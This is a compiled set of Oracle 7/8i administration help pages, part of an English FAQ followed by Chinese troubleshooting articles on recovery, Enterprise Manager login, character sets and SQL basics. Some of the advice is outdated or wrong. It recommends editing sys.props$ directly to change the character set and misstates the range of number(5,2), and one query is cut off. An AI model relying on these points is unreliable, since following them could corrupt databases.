    A. Look in DBA_ROLLBACK_SEGS to be sure there are 2 rollback segments. If
       there isn't create another (restart DB with it added to init.ora if
       it is private) before creating objects.

7.  Q. Why is the private rollback segment that was just created not being
       used?
    A. If it is private it must be added to init.ora and the DB restarted
       before it will be acquired.

8.  Q. What do I do when an application is hanging?
    A. Use SQLDBA Monitor Locks (also tables and processes) to determine if
       the table (or row) is locked and review tracefiles and alert.log for
       errors (this doesn't necessarily solve the problem but will help to
       identify it).

9.  Q. How can you shrink a Rollback Segment?? (Or the variation: aren't
       Rollback Segments deallocated?)
    A. In V6 rollback segments aren't deallocated and you must drop and
       recreate to "shrink" them...in V7 you can specify an "OPTIMAL SIZE"
       that the rollback segment will shrink to.

10. Q. How do you move data from one tablespace to another?
    A. See page 3-3 of the V6 Utilities Guide (you need to revoke, grant,
       alter user,imp)

11. Q. Why is a created Public Rollback Segment not used by the application?
    A. If transactions/transactions_per_rollback_segment is less than one
       than only one rollback_segment will be acquired and it will be system.
       Make the ration of the two be equal to the number of Rollback Segments.

12. Q. The database is hanging, users can logon, but not do any work.  What
       can I do?
    A. Check whether the archiver is stuck (alert.log would show ORA-255).
       Either make space in the archival destination, or change the
       log_archive_dest parameter.

13. Q. How can I get a full error listing?
    A. Add tracing to your session by issuing an
       'alter session set sql_trace true'.
       Look for trace files in the USER_DUMP_DEST directory.

14. Q. I removed the datafile before dropping the tablespace. How can I
       recover from this ?
    A. 1) shutdown
       2) startup mount
       3) alter database datafile 'fullpath_of_removed_DF' offline drop
       4) alter database open
       5) drop tablespace ts_name including contents

15. Q. I have DBA privileges and still can't connect internal.  Why?
    A. 'connect internal' is checked at the OS level. In Unix it means that
       your userid needs to be listed at the DBA group in the /etc/group
       file.

16. Q. How can I create a copy of my database ?
    A. Do a full export of the database, pre-create the second database
       including the needed tablespace, then perform full import.

17. Q. Why are some tables missing from a full export ?
    A. Objects owned by SYS are not exported. You shouldn't be creating
       tables as sys.

18. Q. Why is 'Character type conversion 3 to 1 not supported' on an import?
    A. That's import telling you it's trying to load a varchar into a char.
       You need to get a v6 export of the v7 database by using the v6 export
       utility against the v7 database:
        1) run 'catexp6.sql' as sys on the v7 database (this will establish
           the views needed for a v6 export.
        2) From the v6, set up TWO_TASK to point to the v7 database, then
           perform the export.

19. Q. What do I do if Drop tablespace is hanging in v6?
    A. Make sure that the DC_ parameters are high enough.
       dc_free_extents > select count(*) from sys.fet$;
       dc_used_extents > select count(*) from sys.uet$;
       row_cache_enqueue >= dc_free_extents + dc_used_extents;

20. Q. How many blocks are actually used by the data in my tables ?
    A. This query will count all the blocks occupied by the table's data:
         select count(distinct(substr(ROWID, 1, 8) ||
                              (substr(ROWID, 15, 4))
             from

21. Q. How can I find all the duplicate entries in a table ?
A. select * from real_table_name X
where rowid < (select max(ROWID) from real_table_name where col1=X.col1 and col2=X.col2 .....) ;


Oracle技术网—Oracle 816中如何启动Enterprise Manager

位置：首页→Oracle错误→

阿木伯 著
Oracle 816中如何启动Enterprise Manager？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 错误现象：

默认安装完Oracle 816 for NT后，想使用Oracle816 for NT的OEM工具来管理数据库，
开始→程序→Oracle - OraHome81→Enterprise Manager→Console
这时系统出现以下画面一：

点击“确定”，出现画面二、三。

在“添加管理服务器”栏上输入本机IP地址，如：192.1.1.1，点击“确定”，出现画面四。

画面显示出的oradb就使本机名称，点击“确定”，出现画面五，进行“Oracle Enterprise Manager 登录”。

输入口令/密码：system/manager，点击“确定”，出现画面六，出现以下错误提示。

VTK-1000 : Unable to connect to the management server oradb.
Please vertify that you have entered the correct host name
and the status of the Oracle Managerment Server.
  • 解决方法：

1、使用Enterprise Manager配置辅助工具
   开始→程序→Oracle - OraHome81→Enterprise Manager→Configuration Assistant
a、使用Configuration Assistant工具来创建一个新的资料档案库，如图七。

单击“下一步”，出现画面八。

b、先登录
   用户名：system，密码：manager，服务：oradb，
   注：输入的用户必须具有DBA权限，单击“下一步”，出现画面九。

c、再创建拥有此资料档案库的用户，系统默认取机器名，这里我们设用户名为：test，密码：test,
   输入两遍口令，单击“下一步”，出现画面十。

d、因为输入的是一个新用户，系统要求指定用户表空间，本例使用系统推荐，
   单击“下一步”，系统正在创建OEM_REPOSITORY表空间，创建完毕后出现画面十一。

e、系统显示“创建资料档案库概要”，
   单击“完成”，显示“配置辅助工具进度”，如图十二。

   单击“显示详细资料”，可以看到系统正在创建各种对象的提示。
   系统处理完成，单击“关闭”，如图十三。

2、启动OracleOraHome81ManagementServer服务
   开始→设置→控制面版→管理工具→服务，如图十四，找到Oracle相关服务的位置。

   单击“启动”，如图十五，如果上一步没有创建资料档案库，则会启动失败。

   把OracleOraHome81ManagementServer服务设置成自动启动方式。

3、重新进行Oracle Enterprise Manager 登录
   开始→程序→Oracle - OraHome81→Enterprise Manager→Console
   Oracle Enterprise Manager 的默认管理员是 sysman/oem_temp，系统管理员应该马上更改口令。
   如图十六，不要在管理员一栏直接写sysman/oem_temp，而是分别输入“用户名/密码”。

   单击“确定”，出现图十七，安全警告，要求你立即更改sysman的口令。

   本例输入两遍manager作为口令，
   输入完口令后，单击“更改”，
   系统正式调出“Oracle Enterprise Manager 控制台 SYSMAN@oradb”的画面。


Oracle技术网—Oracle Enterprise Manager（OEM）工具中如何以SYSOPER、SYSDBA方式登录

位置：首页→Oracle错误→

【点击：】 阿木伯 著
Oracle Enterprise Manager（OEM）工具中如何以SYSOPER、SYSDBA方式登录？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 错误现象：
      在以Oracle Enterprise Manager（OEM）工具登录数据库时，不论是sys用户、system用户，还是其他用户，
      在Connect As栏中以sysdba或sysoper角色登录均遭拒绝，
      报错：Ora-01017:invalid username/password;logon denied,但以normal登录成功。
  • 错误原因：
      连接方式有三种：
      1、normal正常方式，基本连接方式，级别较低
      2、sysopr系统方式，系统连接方式，高一级
      3、sysdba管理员方式，是数据库管理员连接方式，级别最高

      Oracle8中，sys、system已经只是具有特权的普通用户，而internal才是dba。
  • 解决方法：
      以internal/oracle方式连接即可


Oracle技术网—ORACLE数据库应用开发常见问题及排除

ORACLE数据库应用开发常见问题及排除
来源：计算机世界

    硬件平台：SUN Ultra Enterprise 3000

    操作系统：Solaris 2.5(中文简体)

    磁盘：4.2GB

    内存：256MB

    ORACLE B版本：7.3.2.1

    安装目录：/database/oracle（/database下有2GB空间）

    安装产品：ORACLE RDBMS,SQL＊NET,SQL＊Plus,Pro ＊C,Server Manager等

    产品安装正常，运行稳定。

    二、应用开发中常见问题及排除

    ORACLE数据库在应用开发过程中，经常会遇到以下两个问题：

    1、使用Shutdown命令不能关闭数据库；

    2、Client端经常无故发生死机现象。

    问题1的排除：只要正确使用命令开启和关闭数据库（只有Internal用户有此权），问题1的出现，是由于数据库有未提交事务，此时可用Shutdown Abort命令关闭数据库，但是所有未提交事务将被废弃。

    问题2的排除：⑴此时可在Server端使用Platinum EP M产品确认问题所在。使用EMP可以监控系统的运行，当Cl ient端发生死机时，监控DML LOCK的使用会发现，用户由于误操作，造成此用户在数据库中发生死锁，引起Client 端死机。经确定进程号后，到ORACLE用户下，使用‘KILL －9进程号’命令，即可释放死锁，解决Client端死机问题。

    例如用户在发出Update、Delete命令语句后，接着进行Select，此时这个用户就会发生死锁。

    ⑵在应用软件开发过程中?会由于应用软件中存在某些BUG问题引起Client端死机。此时可借助数据字典和数据库基表进行查找，主要针对数据库中数据特点及数据库基表的约束条件进行核对以尽快找到问题所在，而和数据库的性能没有关系；当然也可在Server端使用EPM，监控某一用户当前正在执行的SQL语句，以便找到问题的所在。

    例如用户数据表加入数据后，运行应用程序时，提示DUP－VALUE－IN－INDEX等类似错误信息时，就是因为数据基表的Primary Key的数据字段选择有误，造成不应加入的数据加入到数据库，使应用程序发生死机。此时可通过修改基表，删除错误数据，即可解决问题。


Oracle技术网—监听器错误

位置：首页→Oracle错误→

Oracle启动时，监听器不启动或打开出错？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 错误现象：
      1、ORACLE启动时，监听器不启动或打开出错
      2、服务器端：用username/password登录正常，但用username/password@alias登录不成功
      3、客户端：用username/password@alias登录不成功
  • 解决方法：
      1、如果是因为修改了NT的机器名，则把listener.ora文件中的host参数全部改为新的NT机器名，
      重新启动OracleTNSListenr80服务即可。
          例如:
          LISTENER =
          (ADDRESS_LIST =
          (ADDRESS = (PROTOCOL = TCP)(Host = NT_Name)(Port = 1521))
          (ADDRESS = (PROTOCOL = TCP)(Host = NT_Name)(Port = 1526))
          )
      2。使用监听器实用程序：LSNRCTL80.exe
      3。检查监听器参数文件：c:\orant\NET80\admin\listener.ora
      4。检查监听器日志文件：c:\orant\NET80\log\listener.log
      5。Tnsnames.ora文件配置错误，重新配置。
      6。检查client 端 Tnsnames.ora
  • 监听器listener工作原理：
      1、


Oracle技术网—联机热备份失败后，如何打开数据库

位置：首页→Oracle错误→

【点击：】 阿木伯 著
联机热备份失败后，如何打开数据库？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 错误现象：
      进行联机热备份时，服务器发生故障，如掉电，重新启动服务器，
      启动数据库时，无法打开数据库，Oracle要求进行介质恢复，
      因为表空间还处在热备份状态。
  • 模拟现象及解决方法：

先将数据库设置为归档模式

C:\>svrmgrl
svrmgrl>connect internal
svrmgrl>alter tablespace 表空间名 begin backup;

--表空间热备模式没结束就强行关闭数据库，造成错误
svrmgrl>shutdown abort

svrmgrl>startup mount

--将此表空间的数据文件在没打开数据库时置成end backup模式
svrmgrl>alter database datafile '表空间的数据文件名' end backup;

--或执行表空间介质恢复
svrmgrl>recover tablespace 表空间名;

svrmgrl>alter database open;


Oracle技术网—没有备份、只有归档日志，如何恢复数据文件

位置：首页→Oracle错误→

【点击：】 阿木伯 著
没有备份、只有归档日志，如何恢复数据文件？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 模拟现象：

可通过重建数据文件来恢复，前提是归档日志文件保存完整

先将数据库设置为归档模式

SQL*Plus

conn system/manager

--创建实验表空间
create tablespace test datafile
'c:\test.ora' size 5M
AUTOEXTEND ON NEXT 1M MAXSIZE UNLIMITED
default storage (initial 128K next 1M pctincrease 0)
/

--创建实验用户
  drop user test cascade;
create user test identified by test default tablespace test;
grant connect,resource to test;
conn test/test

create table a(a number);
insert into a values(1);
insert into a select * from a;	--反复插入，达到100万条
commit;

--关闭数据库
SVRMGR> connect internal
SVRMGR> alter system switch logfile;	--强制归档
SVRMGR> alter system switch logfile;
SVRMGR> alter system switch logfile;
SVRMGR> shutdown

--操作系统下删除test.ora文件

--重新启动数据库
SVRMGR> connect internal
SVRMGR> startup

这时，可以mount上，但无法打开，因为数据文件test.ora不存在，
显示错误如下：

ORA-01157: ????/?????? 8 - ??? DBWR ????
ORA-01110: ???? 8: 'C:\TEST.ORA'

SVRMGR> connect internal
SVRMGR> startup mount
SVRMGR> alter database create datafile 'c:\test.ora';
SVRMGR> set autorecovery on
SVRMGR> recover datafile 'c:\test.ora';
SVRMGR> alter database open;

conn test/test
select count(*) from a;		--数据又恢复到100万条

--删除实验表空间
conn system/manager
alter tablespace test offline;
drop tablespace test INCLUDING CONTENTS;
drop user test;

--如果是非归档模式，也可以运用以上方法，
--前提是：输入记录所占空间的大小不超过所有联机日志文件的大小
--即：用联机日志文件来恢复


Oracle技术网—某个数据文件损坏，如何打开数据库

位置：首页→Oracle错误→

【点击：】 阿木伯 著
某个数据文件损坏，如何打开数据库？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 错误现象：
      因误操作，数据库中某一数据文件被误删，
      控制面板的Oracle相关服务显示已启动，但用SQL*Plus无法连接，
      显示以下错误
      ORA-01033: ORACLE initialization or shutdown in progress
  • 模拟现象：

create tablespace test datafile
'c:\test.ora' size 5M
AUTOEXTEND ON NEXT 1M MAXSIZE UNLIMITED
default storage (initial 128K next 1M pctincrease 0)
/

关闭所有服务stop.bat

net stop "OracleWebAssistant0"
net stop "OracleOraHome81TNSListener"
net stop "OracleServiceORADB"

shutdown

在操作系统中删除test.ora文件

重新启动服务start.bat

net start "OracleWebAssistant0"
net start "OracleOraHome81TNSListener"
net start "OracleServiceORADB"

服务里OracleServiceORADB显示已启动，但用SQL*Plus无法连接，
显示ORA-01033: ORACLE initialization or shutdown in progress

解决方法：

先让该数据文件脱机,就可以打开数据库
C:\>svrmgrl
svrmgrl>connect internal
svrmgrl>shutdown
svrmgrl>startup mount

--ARCHIVELOG模式命令，文件名要大写
svrmgrl>alter database datafile 'C:\TEST.ORA' offline;

--NOARCHIVELOG模式命令
svrmgrl>alter database datafile 'C:\TEST.ORA' offline drop;

svrmgrl>alter database open;

--查询数据文件联、脱机状态
SQL> select file#,name,status from v$datafile;

SQL> drop tablespace test;

表空间已丢弃。


Oracle技术网—如何使用归档日志进行完全恢复

位置：首页→Oracle错误→

【点击：】 阿木伯 著
如何使用归档日志进行完全恢复？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 模拟现象：

先将数据库设置为归档模式

SQL*Plus

--创建实验表空间
create tablespace test datafile
'c:\test.ora' size 5M
AUTOEXTEND ON NEXT 1M MAXSIZE UNLIMITED
default storage (initial 128K next 1M pctincrease 0)
/

--创建实验用户
  drop user test cascade;
create user test identified by test default tablespace test;
grant connect,resource to test;
conn test/test

create table a(a number);
insert into a values(1);
insert into a select * from a;	--反复插入，达到10万条
commit;

拷贝test.ora为test1.ora文件
insert into a select * from a;	--20万条
commit;

关闭数据库
shutdown
删除test.ora文件，把test1.ora拷贝为test.ora。

重新启动数据库
这时，可以mount上，但无法打开，因为现在使用的数据文件是旧的
只有10万条记录，与控制文件中记载的log number不一样

startup mount
需要recover database，使数据库记录重新恢复到当前的20万条

C:\>svrmgrl
svrmgrl>connect internal
svrmgrl>shutdown
svrmgrl>startup mount
svrmgrl>set autorecovery on
svrmgrl>recover database;
svrmgrl>alter database open;

conn test/test
select count(*) from a;		--数据又恢复到20万条

conn system/manager
--删除实验表空间
alter tablespace test offline;
drop tablespace test INCLUDING CONTENTS;


Oracle技术网—如何正确建立TYPE、partition（分区）

位置：首页→Oracle错误→

如何正确建立TYPE、partition（分区）？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 错误现象：
      SQL> create type type1 as object
      2 (
      3 col1 varchar2(10),
      4 col2 varchar2(10)
      5* )
      SQL> /
      create type type1 as object
      *
      ERROR 发生在第 1 行:
      ORA-00439: 特性无法启用: Objects
  • 解决方法：

安装时选择Oracle8 Objects Option就行了

同样，要想启用分区特性，安装时选择Oracle8 Partitioning Option就行了

SQL> col PARAMETER format a35
SQL> col VALUE format a35
SQL> select * from v$option;


Oracle技术网—一个控制文件被损坏，如何启动

位置：首页→Oracle错误→

【点击：】 阿木伯 著
一个控制文件被损坏，如何启动？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 错误现象：
      因硬盘有坏道，一个控制文件损坏了，或人工误删一个控制文件，
      控制面板的Oracle相关服务可以启动成功，但用SQL*Plus无法连接，
      显示以下错误
      ORA-01034: ORACLE not available
  • 解决方法：

C:\>svrmgrl
svrmgrl>connect internal
svrmgrl>shutdown abort

修改init.ora（C:\Oracle\admin\oradb\pfile\init.ora）文件，使无法使用的控制文件不在control_files参数中定义
修改前
control_files = ("C:\Oracle\oradata\oradb\control01.ctl", "C:\Oracle\oradata\oradb\control02.ctl",
        "C:\Oracle\oradata\oradb\control03.ctl")

修改后
control_files = ("C:\Oracle\oradata\oradb\control01.ctl", "C:\Oracle\oradata\oradb\control02.ctl")

svrmgrl>startup

注意：最少要有两个控制文件的存在，即使一个也可以正常应用


Oracle技术网—在SQL*Plus中insert进的都是中文的，为什么一存入服务器后，再select出的就是???了

位置：首页→Oracle错误→

【点击：】 阿木伯 著
在SQL*Plus中insert进的都是中文的，为什么一存入服务器后，再select出的就是???了？

  • 错误现象：
      1、有的时候，服务器数据先导出，重装服务器，再导入数据，结果，发生数据查询成???。
      2、有时，服务器设置就有问题，字符集设成单字节了。
  • 错误原因：
      一般，是因为字符集设置不对照成的。
  • 解决方法：
    1、检查服务器上Oracle数据库的字符集

SQL> conn sys/change_on_install
连接成功.

SQL> desc props$
 列名                          可空值否   类型
 ------------------------------- -------- ----
 NAME                            NOT NULL VARCHAR2(30)
 VALUE$                                   VARCHAR2(2000)
 COMMENT$                                 VARCHAR2(2000)

SQL> col value$ format a40
SQL> select name,value$ from props$;

NAME                           VALUE$
------------------------------ -------------------------
DICT.BASE                      2
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_CURRENCY                   $
NLS_ISO_CURRENCY               AMERICA
NLS_NUMERIC_CHARACTERS         .,
NLS_DATE_FORMAT                DD-MON-YY
NLS_DATE_LANGUAGE              AMERICAN
NLS_CHARACTERSET               ZHS16GBK
NLS_SORT                       BINARY
NLS_CALENDAR                   GREGORIAN
NLS_RDBMS_VERSION              7.3.4.0.0
GLOBAL_DB_NAME                 ORACLE.WORLD
EXPORT_VIEWS_VERSION           3

查询到14记录.

NLS_CHARACTERSET这个参数应该是ZHS16GBK，如不是，改为它。

SQL*Plus中修改方法：
SQL> update props$ set value$='新字符集' where name='NLS_CHARACTERSET';

操作系统中修改方法：
connect internal
alter database ORCL character set ZHS16GBK;
alter database ORCL national character set ZHS16GBK;

2、检查操作系统级Oracle汉字显示的字符集

运行regedit，定位到：
HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE

找到以下字符串
NLS_LANG

检查是否以下内容，如不是，改之
SIMPLIFIED CHINESE_CHINA.ZHS16GBK


Oracle技术网—重装Oracle服务器后，以前的数据可以恢复吗

位置：首页→Oracle错误→

【点击：】 阿木伯 著
重装Oracle服务器后，以前的数据可以恢复吗？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

可以恢复，前提是要保留以下全部文件：

初始化参数文件INIT.ORA
所有数据文件
所有重做日志文件（联机日志、归档日志）
所有控制文件
internal密码文件

1、重新安装数据库时，创建和原有数据库相同的名字
2、shutdown
3、停掉NT上所有Oracle服务，删除新建数据库中的所有新建文件（和以上那些类似的文件）
4、将所有以上文件拷贝回原目录
5、startup


Oracle技术网—Oracle 8.1.6 for Win2000 系统文件解释

位置：首页→Oracle初学者入门→

【点击：】 阿木伯 著
Oracle 8.1.6 for Win2000 系统文件解释

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 解释：

Oracle 8i R2 (8.1.6) for NT 企业版默认安装完毕后会在所在盘符创建以下三个目录

admin：  记录Oracle实例的配置、运行日志等文件，每个实例一个目录
Ora81：  Oracle系统文件
oradata：Oracle实例运行所需的所有具体文件（数据文件、日志文件、控制文件），每个实例一个目录

一般来讲，Oracle文件分以下几个类型：

数据文件：　　　　　　真实数据
重做日志文件：　　　　联机日志、归档日志
控制文件：　　　　　　包含物理文件到数据字典中的逻辑表空间之间的映射
初始化参数文件：　　　控制内存
警告和追踪日志文件：
备份文件：

C:\Oracle\admin\oradb\pfile\init.ora　　　　　　　　　--初始化参数文件
C:\Oracle\admin\oradb\bdump\oradbALRT.LOG　　　　　　 --警告日志文件
C:\Oracle\admin\oradb\udump\ORA00960.TRC

C:\Oracle\oradata\oradb\SYSTEM01.DBF　　　　　　　　　--表空间数据文件
C:\Oracle\oradata\oradb\USERS01.DBF
C:\Oracle\oradata\oradb\INDX01.DBF
C:\Oracle\oradata\oradb\RBS01.DBF
C:\Oracle\oradata\oradb\TEMP01.DBF
C:\Oracle\oradata\oradb\TOOLS01.DBF
C:\Oracle\oradata\oradb\DR01.DBF
C:\Oracle\oradata\oradb\OEM_REPOSITORY.ORA

C:\Oracle\oradata\oradb\CONTROL01.CTL　　　　　　　　 --控制文件
C:\Oracle\oradata\oradb\CONTROL02.CTL
C:\Oracle\oradata\oradb\CONTROL03.CTL

C:\Oracle\oradata\oradb\REDO01.LOG　　　　　　　　　　--联机日志文件
C:\Oracle\oradata\oradb\REDO02.LOG
C:\Oracle\oradata\oradb\REDO03.LOG

C:\Oracle\oradata\oradb\archive\ORADB2T001S01100.ARC　--归档日志文件
...
C:\Oracle\oradata\oradb\archive\ORADB2T001S01199.ARC

C:\Oracle\Ora81\BIN\afiedt.buf　　　　　　　　　--SQL*Plus默认编辑文件
C:\Oracle\Ora81\BIN\oradc.ocx　　　　　　　　　 --Oracle ActiveX控件（可用于VB中）

C:\Oracle\Ora81\DATABASE\PWDoradb.ora　　　　　 --internal密码文件
C:\Oracle\Ora81\DATABASE\initoradb.ora　　　　　--启动参数文件
C:\Oracle\Ora81\DATABASE\oradim.log　　　　　　 --SVRMGRL管理器出错日志

C:\Oracle\Ora81\network\log\listener.log　　　　--监听器日志文件
C:\Oracle\Ora81\network\log\sqlnet.log　　　　　--Sql*Net 日志文件
C:\Oracle\Ora81\network\ADMIN\tnsnames.ora　　　--TNS 连接文件（数据库别名）
C:\Oracle\Ora81\network\ADMIN\sqlnet.ora　　　　--Sql*Net 环境文件
C:\Oracle\Ora81\network\ADMIN\listener.ora　　　--监听器参数文件

C:\Oracle\Ora81\sqlplus\admin\glogin.sql　　　　--Sql*Plus登录自动执行脚本
C:\Oracle\Ora81\sqlplus\admin\sqlplus.ini　　　 --Sql*Plus环境初始化文件

C:\Oracle\Ora81\precomp\demo\proc　　　　　　　 --Pro*C目录

C:\Oracle\Ora81\RDBMS\ADMIN\BUILDALL.SQL　　　　--生成所有对象脚本
C:\Oracle\Ora81\RDBMS\ADMIN\standard.sql　　　　--建立数据库基本结构的包
C:\Oracle\Ora81\RDBMS\ADMIN\catalog.sql　　　　 --建立数据字典视图脚本，以SYS、INTERNAL连接
C:\Oracle\Ora81\RDBMS\ADMIN\catexp.sql　　　　　--建立EXP/IMP用数据字典视图
C:\Oracle\Ora81\RDBMS\ADMIN\catexp7.sql　　　　 --使v7版本的EXP文件可以导入到v8中
C:\Oracle\Ora81\RDBMS\ADMIN\catdbsyn.sql　　　　--建立DBA私有数据字典视图
C:\Oracle\Ora81\RDBMS\ADMIN\cataudit.sql　　　　--建立审计用数据字典视图
C:\Oracle\Ora81\RDBMS\ADMIN\catsnap.sql　　　　 --建立快照数据字典视图，以SYS、INTERNAL连接
C:\Oracle\Ora81\RDBMS\ADMIN\SCOTT.SQL　　　　　 --生成SCOTT用户及其用户数据

C:\Oracle\Ora81\dbs\pupbld.sql　　　　　　　　　--新建一个数据库之后需要执行的脚本


Oracle技术网—Oracle 基本知识

位置：首页→Oracle初学者入门→

阿木伯 著
Oracle 基本知识

    一个表空间只能属于一个数据库

    每个数据库最少有一个控制文件（建议3个，分别放在不同的磁盘上）

    每个数据库最少有一个表空间（SYSTEM表空间）

    建立SYSTEM表空间的目的是尽量将目的相同的表存放在一起，以提高使用效率，只应存放数据字典

    每个数据库最少有两个联机日志组，每组最少一个联机日志文件

    一个数据文件只能属于一个表空间

    一个数据文件一旦被加入到一个表空间中，就不能再从这个表空间中移走，也不能再加入到其他表空间中

    建立新的表空间需要建立新的数据文件

    数据文件被ORACLE格式化为ORACLE块，Oracle9i以前版本中，ORACLE块的大小是在第一次创建数据库时设定的，

    并且以后不能改变，要想改变，只能重建数据库

    一个段segment只能属于一个表空间，但可以属于多个数据文件

    一个区extent只能属于一个数据文件，即区间（extent）不能跨越数据文件

    PCTFREE和PCTUSED总和不能大于等于100

    单独一个事务不能跨越多个回滚段

    索引表不含ROWID值

    拥有不同大小的回滚段没有任何益处

    COMMIT后，数据不一定立即写盘（数据文件）

    一个事务即使不被提交，也会被写入到重做日志中。

    Oracle 8.0.4中，在初始安装时建立的缺省数据库，实例名为ORCL

    一个块的最大长度为16KB(有2K、4K、8K、16K)
    每个数据库最大文件数（按块大小）
    2K块　　　　　　　　20000个文件
    4K块　　　　　　　　40000个文件
    8K块或以上　　　　　65536个文件

    oracle server可以同时启动多个数据库

    一套操作系统上可以安装多个版本的ORACLE数据库系统（UNIX可以，NT不可以）

    一套ORACLE数据库系统中可以有多个ORACLE数据库及其相对应的实例

    每个ORACLE数据库拥有一个数据库实例（INSTANCE）（OPS除外）

    所以，一套操作系统上同时可以有多个oracle数据库实例启动

Oracle 基本知识


Oracle技术网—Oracle8 数据类型

位置：首页→Oracle初学者入门→

阿木伯 著
Oracle8 数据类型

数据类型 | 参数 | 描述
char(n) | n=1 to 2000字节 | 定长字符串，n字节长，如果不指定长度，缺省为1个字节长（一个汉字为2字节）
varchar2(n) n=1 to 4000字节 可变长的字符串，具体定义时指明最大长度n，
这种数据类型可以放数字、字母以及ASCII码字符集(或者EBCDIC等数据库系统接受的字符集标准)中的所有符号。
如果数据长度没有达到最大值n，Oracle 8i会根据数据大小自动调节字段长度，
如果你的数据前后有空格，Oracle 8i会自动将其删去。VARCHAR2是最常用的数据类型。
可做索引的最大长度3209。
number(m,n) m=1 to 38
n=-84 to 127 		可变长的数值列，允许0、正值及负值，m是所有有效数字的位数，n是小数点以后的位数。
如：number(5,2)，则这个字段的最大值是99,999，如果数值超出了位数限制就会被截取多余的位数。
如：number(5,2)，但在一行数据中的这个字段输入575.316，则真正保存到字段中的数值是575.32。
如：number(3,0)，输入575.316，真正保存的数据是575。
date 无 从公元前4712年1月1日到公元4712年12月31日的所有合法日期，
Oracle 8i其实在内部是按7个字节来保存日期数据，在定义中还包括小时、分、秒。
缺省格式为DD-MON-YY，如07-11月-00 表示2000年11月7日。
long 无 可变长字符列，最大长度限制是2GB，用于不需要作字符串搜索的长串数据，如果要进行字符搜索就要用varchar2类型。
long是一种较老的数据类型，将来会逐渐被BLOB、CLOB、NCLOB等大的对象数据类型所取代。
raw(n) n=1 to 2000 可变长二进制数据，在具体定义字段的时候必须指明最大长度n，Oracle 8i用这种格式来保存较小的图形文件或带格式的文本文件，如Miceosoft Word文档。
raw是一种较老的数据类型，将来会逐渐被BLOB、CLOB、NCLOB等大的对象数据类型所取代。
long raw 无 可变长二进制数据，最大长度是2GB。Oracle 8i用这种格式来保存较大的图形文件或带格式的文本文件，如Miceosoft Word文档，以及音频、视频等非文本文件。
在同一张表中不能同时有long类型和long raw类型，long raw也是一种较老的数据类型，将来会逐渐被BLOB、CLOB、NCLOB等大的对象数据类型所取代。
blob
clob
nclob 		无 三种大型对象(LOB)，用来保存较大的图形文件或带格式的文本文件，如Miceosoft Word文档，以及音频、视频等非文本文件，最大长度是4GB。
LOB有几种类型，取决于你使用的字节的类型，Oracle 8i实实在在地将这些数据存储在数据库内部保存。
可以执行读取、存储、写入等特殊操作。
bfile 无 在数据库外部保存的大型二进制对象文件，最大长度是4GB。
这种外部的LOB类型，通过数据库记录变化情况，但是数据的具体保存是在数据库外部进行的。
Oracle 8i可以读取、查询BFILE，但是不能写入。
大小由操作系统决定。

Oracle8 数据类型


Oracle技术网—what is sql?

what is sql?

SQL是Structured Query Language（结构化查询语言）的缩写，它是目前使用最广泛的数据库语言，SQL是由IBM发展起来的，后来被许多数据库软件公司接受而成为了业内的一个标准。

就象SQL的名字一样，我们可以通过容易理解的查询语言，来和数据库打交道，从数据库中得到我们想要的数据。对于SQL语言，有两个组成部分：
DML（data manipulation language）：它们是SELECT、UPDATE、INSERT、DELETE，就象它的名字一样，这4条命令是用来对数据库里的数据进行操作的语言。

DDL（data definition language）：DDL比DML要多，主要的命令有CREATE、ALTER、DROP等，DDL主要是用在定义或改变表（TABLE）的结构，数据类型，表之间的链接和约束等初始化工作上，他们大多在建立表时使用。

了解这两个部分的不同对于你今后使用时有很多方便，因为许多SQL语言中的约束也是根据这个分类来划分的，比如：你在ORACLE中建立数据库链，那么只有DML类语言能对链接的数据库进行操作。

SQL作为一个ANSI标准，一直在不断改进，现在最新的标准是SQL99。ORACLE不但对标准的SQL完全兼容，而且有自己更为方便的增强SQL，所以这里介绍的主要是ORACLE8中使用的SQL。


Oracle技术网—安装、配置后，SQL*Plus操作初步

位置：首页→Oracle初学者入门→

【点击：】 阿木伯 著
安装、配置后，SQL*Plus操作初步？

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 说明：

默认安装完Oracle后，初学者应该了解的一些SQL语句

1、连接
SQL*Plus system/manager

2、显示当前连接用户
SQL> show user

3、查看系统拥有哪些用户
SQL> select * from all_users;

4、新建用户并授权
SQL> create user a identified by a;（默认建在SYSTEM表空间下）
SQL> grant connect,resource to a;

5、连接到新用户
SQL> conn a/a

6、查询当前用户下所有对象
SQL> select * from tab;

7、建立第一个表
SQL> create table a(a number);

8、查询表结构
SQL> desc a

9、插入新记录
SQL> insert into a values(1);

10、查询记录
SQL> select * from a;

11、更改记录
SQL> update a set a=2;

12、删除记录
SQL> delete from a;

13、回滚
SQL> roll;
SQL> rollback;

14、提交
SQL> commit;


Oracle技术网—安装Oracle后，经常使用的修改表空间的SQL代码

